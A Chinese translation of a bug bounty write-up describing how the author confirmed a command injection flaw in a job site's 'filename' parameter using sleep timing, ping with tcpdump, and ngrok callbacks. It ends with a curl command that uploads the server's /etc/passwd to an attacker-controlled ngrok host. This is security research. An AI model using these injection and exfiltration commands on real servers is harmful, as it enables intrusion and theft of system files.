摘要

让我们将时间倒退到2017年12月,我在一个职位列表网站上发现了一个命令注入漏洞。以下是简单的POC,其中易受攻击的参数是filename。

PoC

我先用sleep 5进行测试,响应延迟为5-6秒(6.113毫秒)。你可以看到右下角的延迟。

我随即用sleep 10进行测试,看看有什么不同。响应延迟10-11秒(11.137毫秒)。延迟时间同样位于右下角。

我尝试使用命令ping -c 5 <my server IP address>ping一下我的服务器,并运行tcpdump -i <interface> -n icmp查看传入的ICMP数据包。ping命令意味着向我的服务器IP地址已经发送了5次ICMP数据包。


很抱歉我修改了相关细节,但您可以看到有5次传入的ICMP数据包。我的服务器IP地址是5.000.000.105,传入的ICMP数据包来自000.000.39.169。现在我知道filename参数易受命令注入攻击。
我用ngrok做了另一个测试。所以我在localhost上运行 ./ngrok http 80,对于易受攻击的参数执行curl blablabla.ngrok.io


现在让我们看一下ngrok Web界面上的响应(http://127.0.0.1:4040)。我收到了来自IP地址000.000.39.169的请求。和之前的ICMP数据包的IP地址一样!


现在我可以读取易受攻击的服务器上的文件,并使用命令curl -F shl=@/etc/passwd blablabla.ngrok.io将其发送到我的ngrok地址。该命令意味着使用包含/etc/passwdshl参数向blablabla.ngrok.io发送POST请求。

结果是IP地址为000.000.39.169的服务器将/ etc / passwd发送到我的ngrok上。


以上。Happy hacking!

翻译文章:https://medium.com/bugbountywriteup/command-injection-poc-72cc3743f10d

点击收藏 | 2 关注 | 1
登录 后跟帖